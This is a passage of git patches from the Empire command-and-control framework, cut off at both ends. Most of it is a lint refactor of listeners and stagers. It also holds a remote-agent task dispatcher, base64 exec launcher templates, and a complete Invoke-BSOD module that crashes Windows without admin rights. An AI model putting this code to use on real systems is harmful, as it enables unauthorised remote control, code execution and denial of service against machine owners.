process_packet(self, packetType, data, resultID): + def process_packet(self, packet_type, data, result_id): try: - packetType = int(packetType) - except Exception as e: - return None - - if packetType == 1: - # sysinfo request - # get_sysinfo should be exposed from stager.py - self.packet_handler.send_message(self.packet_handler.build_response_packet(1, self.get_sysinfo(server=self.server), resultID)) - - elif packetType == 2: - # agent exit - self.packet_handler.send_message(self.packet_handler.build_response_packet(2, "", resultID)) - self.agent_exit() + packet_type = int(packet_type) + if packet_type == 61: + # Avoids tracking temp tasks + self.socksqueue.put(base64.b64decode(data.encode("UTF-8"))) + return - elif packetType == 34: - # TASK_SET_PROXY - pass + else: + self.tasks[result_id] = { + "result_id": result_id, + "packet_type": packet_type, + "status": "started", + "thread": None, + "language": None, + "powershell": + { + "app_domain": None, + "ps_host": None, + "buffer": None, + "ps_host_exec": None + } + } + + if packet_type == 1: + # sysinfo request + # get_sysinfo should be exposed from stager.py + self.packet_handler.send_message(self.packet_handler.build_response_packet(1, self.get_sysinfo(server=self.server), result_id)) + self.tasks[result_id]["status"] = "completed" + + elif packet_type == 2: + # agent exit + self.packet_handler.send_message(self.packet_handler.build_response_packet(2, "", result_id)) + self.agent_exit() + + elif packet_type == 34: + # TASK_SET_PROXY + self.tasks[result_id]["status"] = "unimplemented" + pass - elif packetType == 40: - self.run_prebuilt_command(data, resultID) + elif packet_type == 40: + self.run_prebuilt_command(data, result_id) - elif packetType == 41: - self.file_download(data, resultID) + elif packet_type == 41: + self.file_download(data, result_id) - elif packetType == 42: - self.file_upload(data, resultID) + elif packet_type == 42: + self.file_upload(data, result_id) - elif packetType == 43: - self.directory_list(data, resultID) + elif packet_type == 43: + self.directory_list(data, result_id) - elif packetType == 44: - self.csharp_execute(data, resultID) + elif packet_type == 44: + self.csharp_execute(data, result_id) - elif packetType == 50: - self.job_list(resultID) + elif packet_type == 50: + self.task_list(result_id) - elif packetType == 51: - self.stop_job(data, resultID) + elif packet_type == 51: + self.stop_task(data, result_id) - elif packetType == 60: - self.start_socks_server(resultID) + elif packet_type == 60: + self.start_socks_server(result_id) - elif packetType == 61: - self.socksqueue.put(base64.b64decode(data.encode("UTF-8"))) + elif packet_type == 70: + self.start_smb_pipe_server(data, result_id) - elif packetType == 70: - self.start_smb_pipe_server(data, resultID) + elif packet_type == 100: + self.dynamic_code_execute_wait_nosave(data, result_id) - elif packetType == 100: - self.dynamic_code_execute_wait_nosave(data, resultID) + elif packet_type == 101: + self.dynamic_code_execution_wait_save(data, result_id) - elif packetType == 101: - self.dynamic_code_execution_wait_save(data, resultID) + elif packet_type == 102: + self.disk_code_execution_wait_save(data, result_id) - elif packetType == 102: - self.disk_code_execution_wait_save(data, resultID) + elif packet_type == 110: + self.start_python_job(data, result_id) - elif packetType == 110: - self.start_job(data, resultID) + elif packet_type == 111: + # TASK_CMD_JOB_SAVE + self.tasks[result_id]["status"] = "unimplemented" + pass - elif packetType == 111: - # TASK_CMD_JOB_SAVE - pass + elif packet_type == 112: + self.powershell_task(data, result_id) - elif packetType == 112: - self.powershell_task(data, resultID) + elif packet_type == 118: + self.powershell_task_dyanmic_code_wait_nosave(data, result_id) - elif packetType == 118: - self.powershell_task_dyanmic_code_wait_nosave(data, resultID) + elif packet_type == 119: + self.tasks[result_id]["status"] = "unimplemented" + pass - elif packetType == 119: - pass + elif packet_type == 121: + self.script_command(data, result_id) - elif packetType == 121: - self.script_command(data, resultID) + elif packet_type == 122: + self.script_load(data, result_id) - elif packetType == 122: - self.script_load(data, resultID) + elif packet_type == 123: + self.view_loaded_modules(data, result_id) - elif packetType == 123: - self.view_loaded_modules(data, resultID) + elif packet_type == 124: + self.remove_module(data, result_id) - elif packetType == 124: - self.remove_module(data, resultID) + elif packet_type == 130: + # Dynamically update agent comms + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 60, "[!] Switch agent comms not implemented", result_id + ) + ) + self.tasks[result_id]["status"] = "unimplemented" - elif packetType == 130: - # Dynamically update agent comms - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 60, "[!] Switch agent comms not implemented", resultID + elif packet_type == 131: + # Update the listener name variable + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 60, "[!] Switch agent comms not implemented", result_id + ) ) - ) + self.tasks[result_id]["status"] = "unimplemented" - elif packetType == 131: - # Update the listener name variable - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 60, "[!] Switch agent comms not implemented", resultID + else: + self.packet_handler.send_message( + self.packet_handler.build_response_packet(0, "invalid tasking ID: %s" % (packet_type), result_id) ) - ) + self.tasks[result_id]["status"] = "error" - else: + except Exception as e: self.packet_handler.send_message( - self.packet_handler.build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID) + self.packet_handler.build_response_packet(0, "error processing packet: %s" % (e), result_id) ) + self.tasks[result_id]["status"] = "error" def run(self): while True: From 0af261c3ccc312b72ea1a2e0659e5f5d94bf6f35 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Fri, 21 Jun 2024 09:48:15 -0400 Subject: [PATCH 05/26] Updated sharpire to track all tasks (#832) --- CHANGELOG.md | 1 + .../csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c42e1836f..169d8ee87 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added - Added threaded jobs for powershell tasks using Appdomains (@Cx01N) +- Added job tracking for all tasks in Sharpire (@Cx01N) - Updated agents to track all tasks and removed only tracking jobs (@Cx01N) ### Fixed diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire index 74895c043..c6f19540b 160000 --- a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire +++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire @@ -1 +1 @@ -Subproject commit 74895c0431086d0bd9033085e49c300e1f33dfa7 +Subproject commit c6f19540ba2dbf6e743e06bdde08a25b82eae704 From 71e8db8fe689cd70d30a77d5eabc4c4448631280 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Fri, 28 Jun 2024 20:35:45 -0500 Subject: [PATCH 06/26] Added Invoke-BSOD module (#836) --- CHANGELOG.md | 1 + .../data/module_source/fun/Invoke-BSOD.ps1 | 80 +++++++++++++++++++ .../powershell/trollsploit/invoke_bsod.yaml | 24 ++++++ 3 files changed, 105 insertions(+) create mode 100644 empire/server/data/module_source/fun/Invoke-BSOD.ps1 create mode 100644 empire/server/modules/powershell/trollsploit/invoke_bsod.yaml diff --git a/CHANGELOG.md b/CHANGELOG.md index 169d8ee87..5b64c293a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added threaded jobs for powershell tasks using Appdomains (@Cx01N) - Added job tracking for all tasks in Sharpire (@Cx01N) - Updated agents to track all tasks and removed only tracking jobs (@Cx01N) +- Added Invoke-BSOD modules (@Cx01N) ### Fixed - Fixed issue in python agents where background jobs were failed due to a missing character (Cx01N) diff --git a/empire/server/data/module_source/fun/Invoke-BSOD.ps1 b/empire/server/data/module_source/fun/Invoke-BSOD.ps1 new file mode 100644 index 000000000..0d39616b0 --- /dev/null +++ b/empire/server/data/module_source/fun/Invoke-BSOD.ps1 @@ -0,0 +1,80 @@ +function Invoke-BSOD { +<# +.SYNOPSIS + +Invokes a Blue Screen of Death on Windows without requiring admin privileges. +Author: Barrett Adams (@peewpw) + +.DESCRIPTION + +Raises an error that causes a Blue Screen of Death on Windows. It does this without +requiring administrator privileges. + +.EXAMPLE + +PS>Import-Module .\Invoke-BSOD.ps1 +PS>Invoke-BSOD + (Blue Screen Incoming...) + +#> +$source = @" +using System; +using System.Runtime.InteropServices; + +public static class CS{ + [DllImport("ntdll.dll")] + public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue); + + [DllImport("ntdll.dll")] + public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response); + + public static unsafe void Kill(){ + Boolean tmp1; + uint tmp2; + RtlAdjustPrivilege(19, true, false, out tmp1); + NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out tmp2); + } +} +"@ + $comparams = new-object -typename system.CodeDom.Compiler.CompilerParameters + $comparams.CompilerOptions = '/unsafe' + $a = Add-Type -TypeDefinition $source -Language CSharp -PassThru -CompilerParameters $comparams + [CS]::Kill() +} + +function Get-DumpSettings { +<# +.SYNOPSIS + +Gets the crash dump settings +Author: Barrett Adams (@peewpw) + +.DESCRIPTION + +Queries the registry for crash dump settings so that you'll have some idea +what type of dump you're going to generate, and where it will be. + +.EXAMPLE + +PS>Import-Module .\Invoke-BSOD.ps1 +PS>Invoke-BSOD + (Blue Screen Incoming...) + +#> + $regdata = Get-ItemProperty -path HKLM:\System\CurrentControlSet\Control\CrashControl + + $dumpsettings = @{} + $dumpsettings.CrashDumpMode = switch ($regdata.CrashDumpEnabled) { + 1 { if ($regdata.FilterPages) { "Active Memory Dump" } else { "Complete Memory Dump" } } + 2 {"Kernel Memory Dump"} + 3 {"Small Memory Dump"} + 7 {"Automatic Memory Dump"} + default {"Unknown"} + } + $dumpsettings.DumpFileLocation = $regdata.DumpFile + [bool]$dumpsettings.AutoReboot = $regdata.AutoReboot + [bool]$dumpsettings.OverwritePrevious = $regdata.Overwrite + [bool]$dumpsettings.AutoDeleteWhenLowSpace = -not $regdata.AlwaysKeepMemoryDump + [bool]$dumpsettings.SystemLogEvent = $regdata.LogEvent + $dumpsettings +} \ No newline at end of file diff --git a/empire/server/modules/powershell/trollsploit/invoke_bsod.yaml b/empire/server/modules/powershell/trollsploit/invoke_bsod.yaml new file mode 100644 index 000000000..088312d14 --- /dev/null +++ b/empire/server/modules/powershell/trollsploit/invoke_bsod.yaml @@ -0,0 +1,24 @@ +name: Invoke-BSOD +authors: + - name: 'Barrett Adams' + handle: '@peewpw' + link: 'https://x.com/peewpw' +description: A PowerShell script to induce a Blue Screen of Death (BSOD) without admin privileges. Also enumerates Windows crash dump settings. +software: '' +tactics: [] +techniques: +background: true +output_extension: +needs_admin: false +opsec_safe: false +language: powershell +min_language_version: '2' +comments: + - https://github.com/peewpw/Invoke-BSOD +options: + - name: Agent + description: Agent to run module on. + required: true + value: '' +script_path: fun/Invoke-BSOD.ps1 +script_end: Invoke-BSOD From 42e1194e289076482f8e3851a953c80fc9107cd9 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Fri, 28 Jun 2024 18:50:22 -0700 Subject: [PATCH 07/26] Upgrade Ruff to 0.5.0 and Black to 24.4.2 (#838) * Upgrade ruff and black * autofixed UP * apply unsafe fixes * apply manual fixes * update changelog * fix typo * fix black * fix ruff command * revert sharpire change --- .github/workflows/lint-and-test.yml | 6 +- CHANGELOG.md | 1 + empire/client/src/bindings.py | 6 +- empire/client/src/menus/UseMenu.py | 2 +- empire/client/src/utils/print_util.py | 3 +- empire/server/common/agents.py | 33 +- empire/server/common/encryption.py | 6 +- empire/server/common/helpers.py | 8 +- empire/server/common/stagers.py | 27 +- empire/server/core/db/models.py | 16 +- empire/server/listeners/dbx.py | 36 +- empire/server/listeners/http.py | 6 +- empire/server/listeners/http_com.py | 6 +- empire/server/listeners/http_foreign.py | 12 +- empire/server/listeners/http_hop.py | 2 +- empire/server/listeners/http_malleable.py | 25 +- empire/server/listeners/onedrive.py | 42 +- empire/server/listeners/port_forward_pivot.py | 37 +- empire/server/listeners/smb.py | 24 +- empire/server/listeners/template.py | 6 +- .../powershell/code_execution/invoke_ntsd.py | 2 +- .../powershell/collection/packet_capture.py | 4 +- .../lateral_movement/inveigh_relay.py | 4 +- .../lateral_movement/invoke_dcom.py | 6 +- .../lateral_movement/invoke_psexec.py | 12 +- .../lateral_movement/invoke_smbexec.py | 4 +- .../powershell/management/invoke_script.py | 2 +- .../management/mailraider/get_emailitems.py | 7 +- .../modules/powershell/management/psinject.py | 12 +- .../management/reflective_inject.py | 10 +- .../modules/powershell/management/shinject.py | 4 +- .../modules/powershell/management/spawnas.py | 6 +- .../powershell/management/switch_listener.py | 9 +- .../powershell/persistence/misc/debugger.py | 4 +- .../persistence/userland/backdoor_lnk.py | 16 +- .../server/modules/powershell/privesc/ask.py | 26 +- .../modules/powershell/privesc/bypassuac.py | 2 +- .../powershell/privesc/bypassuac_env.py | 2 +- .../powershell/privesc/bypassuac_eventvwr.py | 2 +- .../powershell/privesc/bypassuac_fodhelper.py | 2 +- .../privesc/bypassuac_sdctlbypass.py | 2 +- .../privesc/bypassuac_tokenmanipulation.py | 8 +- .../powershell/privesc/bypassuac_wscript.py | 2 +- .../privesc/powerup/write_dllhijacker.py | 4 +- .../modules/python/collection/osx/prompt.py | 11 +- .../modules/python/collection/osx/sniffer.py | 14 +- .../modules/python/management/multi/spawn.py | 2 +- .../python/persistence/osx/LaunchAgent.py | 34 +- .../python/persistence/osx/loginhook.py | 15 +- .../modules/python/persistence/osx/mail.py | 2 +- .../modules/python/privesc/multi/bashdoor.py | 8 +- .../python/privesc/multi/sudo_spawn.py | 6 +- .../modules/python/privesc/osx/piggyback.py | 10 +- .../reverseshell_stager_server.py | 2 +- empire/server/stagers/multi/bash.py | 2 +- empire/server/stagers/multi/pyinstaller.py | 2 +- empire/server/stagers/multi/war.py | 2 +- empire/server/stagers/osx/applescript.py | 2 +- empire/server/stagers/osx/macro.py | 16 +- empire/server/stagers/osx/safari_launcher.py | 16 +- empire/server/stagers/windows/cmd_exec.py | 2 +- empire/server/utils/option_util.py | 4 +- empire/test/test_logs.py | 4 +- poetry.lock | 1706 ++++++++--------- pyproject.toml | 4 +- 65 files changed, 1088 insertions(+), 1232 deletions(-) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index c8db061eb..2fae07fd3 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -12,11 +12,11 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - - uses: psf/black@24.2.0 + - uses: psf/black@24.4.2 - name: Run ruff run: | - pip install ruff==0.2.1 - ruff . + pip install ruff==0.5.0 + ruff check . matrix-prep-config: runs-on: ubuntu-latest steps: diff --git a/CHANGELOG.md b/CHANGELOG.md index 5b64c293a..ad259bfc9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -25,6 +25,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed - Converted C# server plugin to use plugin taskings (@Cx01N) +- Upgraded Ruff to 0.5.0 and Black to 24.4.2 (@Vinnybod) ## [5.10.3] - 2024-05-23 diff --git a/empire/client/src/bindings.py b/empire/client/src/bindings.py index e1611be67..0c5dfb7cb 100644 --- a/empire/client/src/bindings.py +++ b/empire/client/src/bindings.py @@ -13,12 +13,10 @@ @Condition def ctrl_c_filter(): - if ( + return bool( menu_state.current_menu_name == "ChatMenu" or menu_state.current_menu_name == "ShellMenu" - ): - return True - return False + ) @bindings.add("c-c", filter=ctrl_c_filter) diff --git a/empire/client/src/menus/UseMenu.py b/empire/client/src/menus/UseMenu.py index 9b12882b8..78d0e592b 100644 --- a/empire/client/src/menus/UseMenu.py +++ b/empire/client/src/menus/UseMenu.py @@ -146,7 +146,7 @@ def unset(self, key: str): """ if key in self.record_options: self.record_options[key]["Value"] = "" - log.info("[*] Unset %s" % key) + log.info(f"[*] Unset {key}") else: log.error(f"Could not find field: {key}") diff --git a/empire/client/src/utils/print_util.py b/empire/client/src/utils/print_util.py index 91a456fc1..e75166a72 100644 --- a/empire/client/src/utils/print_util.py +++ b/empire/client/src/utils/print_util.py @@ -64,8 +64,7 @@ def title(version, server, modules, listeners, agents): "========================================================================================" ) print( - " [\x1b[1;32mVersion\x1b[0m] %s | [Web] https://github.com/BC-SECURITY/Empire" - % version + f" [\x1b[1;32mVersion\x1b[0m] {version} | [Web] https://github.com/BC-SECURITY/Empire" ) print( "========================================================================================" diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 3bb9c06ad..0c745d548 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -267,9 +267,7 @@ def save_file( # fix for 'skywalker' exploit by @zeroSteiner safe_path = download_dir.absolute() if not str(os.path.normpath(save_file)).startswith(str(safe_path)): - message = "Agent {} attempted skywalker exploit! Attempted overwrite of {} with data {}".format( - sessionID, path, data - ) + message = f"Agent {sessionID} attempted skywalker exploit! Attempted overwrite of {path} with data {data}" log.warning(message) return @@ -371,9 +369,7 @@ def save_module_file(self, sessionID, path, data, language: str): # fix for 'skywalker' exploit by @zeroSteiner if not str(os.path.normpath(save_file)).startswith(str(safe_path)): - message = "agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format( - sessionID, path, data - ) + message = f"agent {sessionID} attempted skywalker exploit!\n[!] attempted overwrite of {path} with data {data}" log.warning(message) return @@ -896,7 +892,7 @@ def handle_agent_staging( if (len(message) < 1000) or (len(message) > 2500): message = f"Invalid Python key post format from {sessionID}" log.error(message) - return "Error: Invalid Python key post format from %s" % (sessionID) + return f"Error: Invalid Python key post format from {sessionID}" else: try: int(message) @@ -1033,14 +1029,7 @@ def handle_agent_staging( slack_webhook_url = listenerOptions["SlackURL"]["Value"] if slack_webhook_url != "": - slack_text = ":biohazard_sign: NEW AGENT :biohazard_sign:\r\n```Machine Name: {}\r\nInternal IP: {}\r\nExternal IP: {}\r\nUser: {}\r\nOS Version: {}\r\nAgent ID: {}```".format( - hostname, - internal_ip, - external_ip, - username, - os_details, - sessionID, - ) + slack_text = f":biohazard_sign: NEW AGENT :biohazard_sign:\r\n```Machine Name: {hostname}\r\nInternal IP: {internal_ip}\r\nExternal IP: {external_ip}\r\nUser: {username}\r\nOS Version: {os_details}\r\nAgent ID: {sessionID}```" helpers.slackMessage(slack_webhook_url, slack_text) # signal everyone that this agent is now active @@ -1622,11 +1611,8 @@ def process_agent_packet( file_data = helpers.decode_base64(data[20:]) # save the file off to the appropriate path - save_path = "{}/{}_{}.{}".format( - prefix, - agent.hostname, - helpers.get_file_datetime(), - extension, + save_path = ( + f"{prefix}/{agent.hostname}_{helpers.get_file_datetime()}.{extension}" ) final_save_path = self.save_module_file( session_id, save_path, file_data, agent.language @@ -1748,11 +1734,8 @@ def process_agent_packet( file_data = helpers.decode_base64(data[20:]) # save the file off to the appropriate path - save_path = "{}/{}_{}.{}".format( - prefix, - agent.hostname, - helpers.get_file_datetime(), - extension, + save_path = ( + f"{prefix}/{agent.hostname}_{helpers.get_file_datetime()}.{extension}" ) final_save_path = self.save_module_file( session_id, save_path, file_data, agent.language diff --git a/empire/server/common/encryption.py b/empire/server/common/encryption.py index fcc3e695e..ac2bdb16d 100644 --- a/empire/server/common/encryption.py +++ b/empire/server/common/encryption.py @@ -342,13 +342,11 @@ def checkPublicKey(self, otherKey): Check the other party's public key to make sure it's valid. Since a safe prime is used, verify that the Legendre symbol == 1 """ - if ( + return bool( otherKey > 2 and otherKey < self.prime - 1 and pow(otherKey, (self.prime - 1) // 2, self.prime) == 1 - ): - return True - return False + ) def genSecret(self, privateKey, otherKey): """ diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index f520dfe17..444a8c4be 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -593,17 +593,17 @@ def get_file_size(file): byte_size = sys.getsizeof(file) kb_size = old_div(byte_size, 1024) if kb_size == 0: - byte_size = "%s Bytes" % (byte_size) + byte_size = f"{byte_size} Bytes" return byte_size mb_size = old_div(kb_size, 1024) if mb_size == 0: - kb_size = "%s KB" % (kb_size) + kb_size = f"{kb_size} KB" return kb_size gb_size = old_div(mb_size, 1024) % (mb_size) if gb_size == 0: - mb_size = "%s MB" % (mb_size) + mb_size = f"{mb_size} MB" return mb_size - return "%s GB" % (gb_size) + return f"{gb_size} GB" def lhost(): diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index ba7872854..a23cb0b42 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -123,12 +123,12 @@ def generate_dll(self, poshCode, arch): # read in original DLL and patch the bytes based on arch if arch.lower() == "x86": - origPath = "%s/data/misc/ReflectivePick_x86_orig.dll" % ( - self.mainMenu.installPath + origPath = ( + f"{self.mainMenu.installPath}/data/misc/ReflectivePick_x86_orig.dll" ) else: - origPath = "%s/data/misc/ReflectivePick_x64_orig.dll" % ( - self.mainMenu.installPath + origPath = ( + f"{self.mainMenu.installPath}/data/misc/ReflectivePick_x64_orig.dll" ) if os.path.isfile(origPath): @@ -307,9 +307,7 @@ def generate_macho(self, launcherCode): MH_EXECUTE = 2 # with open(self.installPath + "/data/misc/machotemplate", 'rb') as f: - with open( - "%s/data/misc/machotemplate" % (self.mainMenu.installPath), "rb" - ) as f: + with open(f"{self.mainMenu.installPath}/data/misc/machotemplate", "rb") as f: macho = macholib.MachO.MachO(f.name) if int(macho.headers[0].header.filetype) != MH_EXECUTE: @@ -473,7 +471,7 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): if AppName == "": AppName = "launcher" - tmpdir = "/tmp/application/%s.app/" % AppName + tmpdir = f"/tmp/application/{AppName}.app/" shutil.copytree(directory, tmpdir) with open(tmpdir + "Contents/MacOS/launcher", "wb") as f: if disarm is not True: @@ -489,9 +487,9 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): os.rename( tmpdir + "Contents/MacOS/launcher", - tmpdir + "Contents/MacOS/%s" % AppName, + tmpdir + f"Contents/MacOS/{AppName}", ) - os.chmod(tmpdir + "Contents/MacOS/%s" % AppName, 0o755) + os.chmod(tmpdir + f"Contents/MacOS/{AppName}", 0o755) if icon != "": iconfile = os.path.splitext(icon)[0].split("/")[-1] @@ -778,14 +776,7 @@ def generate_stageless(self, options): ) if options["Language"]["Value"] == "powershell": - launch_code = "\nInvoke-Empire -Servers @('{}') -StagingKey '{}' -SessionKey '{}' -SessionID '{}' -WorkingHours '{}' -KillDate '{}';".format( - host, - staging_key, - session_key, - session_id, - working_hours, - kill_date, - ) + launch_code = f"\nInvoke-Empire -Servers @('{host}') -StagingKey '{staging_key}' -SessionKey '{session_key}' -SessionID '{session_id}' -WorkingHours '{working_hours}' -KillDate '{kill_date}';" full_agent = comms_code + "\n" + agent_code + "\n" + launch_code return full_agent diff --git a/empire/server/core/db/models.py b/empire/server/core/db/models.py index 06a67136d..e521ee1c6 100644 --- a/empire/server/core/db/models.py +++ b/empire/server/core/db/models.py @@ -143,7 +143,7 @@ class User(Base): avatar_id = Column(Integer, ForeignKey("downloads.id"), nullable=True) def __repr__(self): - return "" % (self.username) + return f"" class Listener(Base): @@ -159,7 +159,7 @@ class Listener(Base): tags = relationship("Tag", secondary=listener_tag_assc) def __repr__(self): - return "" % (self.name) + return f"" class Host(Base): @@ -320,7 +320,7 @@ class Config(Base): jwt_secret_key = Column(Text, nullable=False) def __repr__(self): - return "" % (self.staging_key) + return f"" def __getitem__(self, key): return self.__dict__[key] @@ -347,7 +347,7 @@ class Credential(Base): tags = relationship("Tag", secondary=credential_tag_assc) def __repr__(self): - return "" % (self.id) + return f"" def __getitem__(self, key): return self.__dict__[key] @@ -414,7 +414,7 @@ class AgentTask(Base): tags = relationship("Tag", secondary=agent_task_tag_assc) def __repr__(self): - return "" % (self.id) + return f"" def __getitem__(self, key): return self.__dict__[key] @@ -452,7 +452,7 @@ class PluginTask(Base): tags = relationship("Tag", secondary=plugin_task_tag_assc) def __repr__(self): - return "" % (self.id) + return f"" class Reporting(Base): @@ -465,7 +465,7 @@ class Reporting(Base): taskID = Column(Integer, ForeignKey("agent_tasks.id")) def __repr__(self): - return "" % (self.id) + return f"" class Keyword(Base): @@ -479,7 +479,7 @@ class Keyword(Base): ) def __repr__(self): - return "" % (self.id) + return f"" class Module(Base): diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index 9f2bed7dc..72b4cdb76 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -365,10 +365,7 @@ def generate_launcher( launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( "UTF-8" ) - launcher = ( - "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" - % (launchEncoded) - ) + launcher = f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" return launcher else: return launcherBase @@ -563,26 +560,25 @@ def generate_agent( code = helpers.strip_python_comments(code) # patch some more - code = code.replace("delay = 60", "delay = %s" % (delay)) - code = code.replace("jitter = 0.0", "jitter = %s" % (jitter)) + code = code.replace("delay = 60", f"delay = {delay}") + code = code.replace("jitter = 0.0", f"jitter = {jitter}") code = code.replace( 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', - 'profile = "%s"' % (profile), + f'profile = "{profile}"', ) - code = code.replace("lostLimit = 60", "lostLimit = %s" % (lostLimit)) + code = code.replace("lostLimit = 60", f"lostLimit = {lostLimit}") code = code.replace( 'defaultResponse = base64.b64decode("")', - 'defaultResponse = base64.b64decode("%s")' - % (b64DefaultResponse.decode("UTF-8")), + 'defaultResponse = base64.b64decode("{}")'.format( + b64DefaultResponse.decode("UTF-8") + ), ) # patch in the killDate and workingHours if they're specified if killDate != "": - code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) + code = code.replace('killDate = ""', f'killDate = "{killDate}"') if workingHours != "": - code = code.replace( - 'workingHours = ""', 'workingHours = "%s"' % (killDate) - ) + code = code.replace('workingHours = ""', f'workingHours = "{killDate}"') code = code.replace("REPLACE_COMMS", "") @@ -806,10 +802,10 @@ def delete_file(dbx, path): ) try: # delete stager if it exists - delete_file(dbx, "%s/debugps" % (stagingFolder)) - delete_file(dbx, "%s/debugpy" % (stagingFolder)) - dbx.files_upload(stagerCodeps, "%s/debugps" % (stagingFolder)) - dbx.files_upload(stagerCodepy, "%s/debugpy" % (stagingFolder)) + delete_file(dbx, f"{stagingFolder}/debugps") + delete_file(dbx, f"{stagingFolder}/debugpy") + dbx.files_upload(stagerCodeps, f"{stagingFolder}/debugps") + dbx.files_upload(stagerCodepy, f"{stagingFolder}/debugpy") except dropbox.exceptions.ApiError: message = ( f"{listenerName}: Error uploading stager to '{stagingFolder}/stager'" @@ -897,8 +893,8 @@ def delete_file(dbx, path): try: fileName2 = fileName.replace( - "%s_3.txt" % (sessionID), - "%s_2.txt" % (sessionID), + f"{sessionID}_3.txt", + f"{sessionID}_2.txt", ) dbx.files_delete(fileName2) except dropbox.exceptions.ApiError: diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index 219274208..7834f2d3c 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -53,7 +53,7 @@ def __init__(self, mainMenu: MainMenu): "Host": { "Description": "Hostname/IP for staging.", "Required": True, - "Value": "http://%s" % (helpers.lhost()), + "Value": f"http://{helpers.lhost()}", }, "BindIP": { "Description": "The IP to bind to on the control server.", @@ -1241,8 +1241,8 @@ def handle_post(request_uri): context = ssl.SSLContext(proto) context.load_cert_chain( - "%s/empire-chain.pem" % (certPath), - "%s/empire-priv.key" % (certPath), + f"{certPath}/empire-chain.pem", + f"{certPath}/empire-priv.key", ) if ja3_evasion: diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index 7c36d5dc4..1f0cdcddd 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -54,7 +54,7 @@ def __init__(self, mainMenu: MainMenu): "Host": { "Description": "Hostname/IP for staging.", "Required": True, - "Value": "http://%s" % (helpers.lhost()), + "Value": f"http://{helpers.lhost()}", }, "BindIP": { "Description": "The IP to bind to on the control server.", @@ -831,8 +831,8 @@ def handle_post(request_uri): context = ssl.SSLContext(proto) context.load_cert_chain( - "%s/empire-chain.pem" % (certPath), - "%s/empire-priv.key" % (certPath), + f"{certPath}/empire-chain.pem", + f"{certPath}/empire-priv.key", ) if ja3_evasion: diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index 2bb70ece6..7a57e183d 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -43,7 +43,7 @@ def __init__(self, mainMenu: MainMenu): "Host": { "Description": "Hostname/IP for staging.", "Required": True, - "Value": "http://%s" % (helpers.lhost()), + "Value": f"http://{helpers.lhost()}", }, "Port": { "Description": "Port for the listener.", @@ -315,10 +315,7 @@ def generate_launcher( b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] # add the RC4 packet to a cookie - launcherBase += ( - 'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session=%s")];\n' - % (b64RoutingPacket) - ) + launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={b64RoutingPacket}")];\n' launcherBase += "import urllib.request;\n" if proxy.lower() != "none": @@ -377,10 +374,7 @@ def generate_launcher( ) if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") - launcher = ( - "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" - % (launchEncoded) - ) + launcher = f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" return launcher else: return launcherBase diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index 